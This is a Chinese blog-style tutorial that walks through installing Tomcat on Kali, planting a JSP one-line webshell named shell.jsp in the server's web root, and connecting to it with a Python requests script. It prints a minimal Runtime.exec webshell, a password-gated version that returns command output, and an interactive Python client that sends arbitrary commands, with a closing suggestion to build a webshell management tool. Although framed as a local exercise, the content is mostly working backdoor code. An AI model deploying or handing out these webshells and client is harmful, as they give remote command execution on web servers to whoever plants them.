句话木马"/>
使用python连接JSP一句话木马
首先需要安装tomcat。
去官网 / 下载对应的 Linux 版本。
这里,我下载的是 apache-tomcat-8.5.70.tar.gz
最好提前安装好 JDK1.8 ,因为 kali 自带的那个可能会出现一点问题。
这是我遇到的问题,随手记录了一下。
不过你也可以不重装,等出了问题再重装,万一你的电脑就没有我这种情况呢。
好了,回到 tomcat 的安装这个问题上来。
解压缩下载好的安装包。
tar -zxvf apache-tomcat-8.5.70.tar.gz
将解压后的目录,移动到 /usr/local/ 目录下。
然后,使用命令 vim /etc/profile
配置环境变量,权限不够就加 sudo
。
在文档最下方添加以下环境变量配置代码
export CATALINA_HOME=/usr/local/software/tomcat8.5.70
使用命令 source /etc/profile
让配置立即生效。
进入 tomcat 安装目录的 bin 目录,执行 ./startup.sh
,看到如图提示代表启动成功。
接下来才是重点,前面那都是安装和配置环节。
tomcat 的跟目录在 /usr/local/apache-tomcat-8.5.70/webapps/ROOT
,在该路目中写一个 JSP 一句话木马,名为 shell.jsp
,如下图所示(我已提前写好)。
最简单的 JSP 一句话,其内容为:
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
不过,我用的是另外一个 webshell ,稍微长一点。
<%@ page language="java" contentType="text/html; charset=GBK"pageEncoding="UTF-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" ".dtd">
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>一句话木马</title></head><body><%if ("shell".equals(request.getParameter("pwd"))) {java.io.InputStream input = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int len = -1;byte[] bytes = new byte[4092];out.print("<pre>");while ((len = input.read(bytes)) != -1) {out.println(new String(bytes, "GBK"));}out.print("</pre>");}%></body></html>
其中,shell 是连接密码,变量 cmd 用于接收参数。
在 Windows 本机验证一下。
但是,既然标题说的是用python连接,那我当然不能忘了。
其实代码十分简单,无非就是使用 python 的 requests 库,发送请求,传递参数,执行命令。
import requestsurl = str(input('目标URL:')) # http://192.168.223.130:8080/shell.jsp
pwd = str(input('连接密码:')) # 其实就是一句话木马中的变量shellwhile(True):cmd = str(input('想要执行的命令:'))# 将命令传给 JSP 一句话木马payload = {'pwd': '{}'.format(pwd),'cmd': '{}'.format(cmd)}# 向目标url发送post请求response = requests.post(url=url, params=payload)# 回显命令执行的结果print(response.text)
结果如下:
在此基础上,可以更加深入一点,最终开发出一个 webshell 的连接管理工具,也不是不可以。
如果本文对你有用的话,欢迎点赞收藏。
更多推荐
使用python连接JSP一句话木马
发布评论